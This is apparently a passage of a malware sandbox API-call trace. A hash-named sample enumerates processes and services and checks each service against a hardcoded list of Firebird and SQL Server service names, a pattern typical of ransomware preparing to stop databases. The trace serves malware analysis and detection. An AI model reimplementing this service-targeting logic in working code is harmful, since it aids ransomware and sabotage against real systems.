	[0183.837] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.837] lstrlenW (lpString="svchost.exe") returned 11
	[0183.837] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.837] lstrlenW (lpString="svchost.exe") returned 11
	[0183.838] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.838] lstrlenW (lpString="svchost.exe") returned 11
	[0183.838] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.839] lstrlenW (lpString="svchost.exe") returned 11
	[0183.839] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.839] lstrlenW (lpString="svchost.exe") returned 11
	[0183.839] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.840] lstrlenW (lpString="svchost.exe") returned 11
	[0183.840] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.840] lstrlenW (lpString="svchost.exe") returned 11
	[0183.840] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0183.840] lstrlenW (lpString="spoolsv.exe") returned 11
	[0183.840] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.841] lstrlenW (lpString="svchost.exe") returned 11
	[0183.841] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0183.841] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0183.841] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0183.842] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0183.842] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0183.842] lstrlenW (lpString="audiodg.exe") returned 11
	[0183.842] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0183.843] lstrlenW (lpString="Memory Compression") returned 18
	[0183.843] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0183.843] lstrlenW (lpString="taskhostw.exe") returned 13
	[0183.843] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0183.843] lstrlenW (lpString="sihost.exe") returned 10
	[0183.843] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0183.844] lstrlenW (lpString="svchost.exe") returned 11
	[0183.844] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0183.844] lstrlenW (lpString="taskhostw.exe") returned 13
	[0183.844] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0183.845] lstrlenW (lpString="explorer.exe") returned 12
	[0183.845] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0183.845] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0183.845] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0183.846] lstrlenW (lpString="SearchUI.exe") returned 12
	[0183.846] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0183.846] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0183.846] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0183.846] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0183.846] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0183.847] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0183.847] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0183.848] lstrlenW (lpString="dllhost.exe") returned 11
	[0183.848] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0183.848] lstrlenW (lpString="dllhost.exe") returned 11
	[0183.848] Process32NextW (in: hSnapshot=0x3c8, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0183.848] CloseHandle (hObject=0x3c8) returned 1
	[0183.848] Sleep (dwMilliseconds=0x1f4) 
	[0184.457] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3929ca0
	[0184.458] EnumServicesStatusExW (in: hSCManager=0x3929ca0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0184.458] GetLastError () returned 0xea
	[0184.458] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c30) returned 0x4f00050
	[0184.458] EnumServicesStatusExW (in: hSCManager=0x3929ca0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4f00050, cbBufSize=0x1c30, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4f00050, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0184.459] CloseServiceHandle (hSCObject=0x3929ca0) returned 1
	[0184.460] lstrlenW (lpString="Appinfo") returned 7
	[0184.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0184.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0184.460] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0184.460] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0184.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0184.460] lstrlenW (lpString="AppXSvc") returned 7
	[0184.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0184.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0184.460] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0184.460] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0184.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0184.460] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0184.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0184.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0184.460] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0184.460] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0184.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0184.460] lstrlenW (lpString="Audiosrv") returned 8
	[0184.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0184.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0184.460] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0184.460] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0184.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0184.460] lstrlenW (lpString="BFE") returned 3
	[0184.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0184.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0184.461] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0184.461] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0184.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0184.461] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0184.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0184.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0184.461] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0184.461] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0184.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0184.461] lstrlenW (lpString="CDPSvc") returned 6
	[0184.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0184.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0184.461] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0184.461] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0184.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0184.461] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0184.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0184.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0184.461] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0184.461] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0184.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0184.461] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0184.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0184.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0184.461] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0184.461] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0184.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0184.461] lstrlenW (lpString="CryptSvc") returned 8
	[0184.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0184.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0184.462] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0184.462] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0184.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0184.462] lstrlenW (lpString="DcomLaunch") returned 10
	[0184.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0184.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0184.462] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0184.462] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0184.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0184.462] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0184.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0184.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0184.462] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0184.462] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0184.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0184.462] lstrlenW (lpString="Dhcp") returned 4
	[0184.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0184.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0184.462] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0184.462] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0184.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0184.462] lstrlenW (lpString="Dnscache") returned 8
	[0184.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0184.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0184.462] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0184.462] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0184.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0184.462] lstrlenW (lpString="DPS") returned 3
	[0184.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0184.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0184.463] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0184.463] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0184.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0184.463] lstrlenW (lpString="DusmSvc") returned 7
	[0184.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0184.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0184.463] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0184.463] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0184.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0184.463] lstrlenW (lpString="EventLog") returned 8
	[0184.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0184.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0184.463] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0184.463] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0184.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0184.463] lstrlenW (lpString="EventSystem") returned 11
	[0184.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0184.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0184.463] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0184.463] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0184.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0184.463] lstrlenW (lpString="FontCache") returned 9
	[0184.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0184.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0184.463] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0184.463] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0184.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0184.463] lstrlenW (lpString="gpsvc") returned 5
	[0184.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0184.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0184.464] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0184.464] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0184.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0184.464] lstrlenW (lpString="iphlpsvc") returned 8
	[0184.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0184.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0184.464] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0184.464] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0184.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0184.464] lstrlenW (lpString="KeyIso") returned 6
	[0184.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0184.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0184.464] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0184.464] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0184.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0184.464] lstrlenW (lpString="LanmanServer") returned 12
	[0184.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0184.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0184.464] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0184.464] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0184.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0184.464] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0184.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0184.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0184.464] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0184.464] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0184.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0184.464] lstrlenW (lpString="lfsvc") returned 5
	[0184.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0184.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0184.465] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0184.465] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0184.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0184.465] lstrlenW (lpString="lmhosts") returned 7
	[0184.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0184.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0184.465] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0184.465] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0184.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0184.465] lstrlenW (lpString="LSM") returned 3
	[0184.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0184.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0184.465] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0184.465] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0184.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0184.465] lstrlenW (lpString="MpsSvc") returned 6
	[0184.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0184.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0184.465] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0184.465] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0184.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0184.465] lstrlenW (lpString="NcbService") returned 10
	[0184.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0184.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0184.465] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0184.465] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0184.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0184.465] lstrlenW (lpString="netprofm") returned 8
	[0184.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0184.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0184.466] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0184.466] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0184.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0184.466] lstrlenW (lpString="NgcSvc") returned 6
	[0184.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0184.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0184.466] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0184.466] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0184.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0184.466] lstrlenW (lpString="NlaSvc") returned 6
	[0184.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0184.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
